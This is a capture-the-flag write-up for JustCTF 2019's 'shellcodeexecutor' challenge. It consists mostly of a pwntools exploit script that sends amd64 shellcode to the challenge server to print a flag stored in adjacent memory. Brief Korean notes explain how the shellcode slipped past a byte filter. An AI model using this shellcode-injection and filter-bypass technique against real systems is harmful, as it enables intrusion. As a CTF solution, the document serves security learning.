JustCtf - shellcodeexecutor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
 
context.arch='amd64'
 
#r=process('./shellcodeexecutor')
r=remote('2019.nc.jctf.pro',1446)
 
sla=r.sendlineafter
sa=r.sendafter
ru=r.recvuntil
 
 
shellcode='''
        xor rdi,rdi
        mov edi,1
        lea rsi,[rip+0x6f]
        xor rdx,rdx
        mov edx,0xff
        xor rax,rax
        mov eax,1
        syscall
'''
 
sla('>','2')
sla('>','1')
sla(':',asm('xor al,0')+asm(shellcode))
sla('>','3')
r.interactive()
cs

내가 쉘을 실행하는곳 앞에 플래그가 저장되어 있어서 write로 읽었다

바이트 검사하는것은 널바이트를 포함한 이상한 코드 넣어서 우회하였다.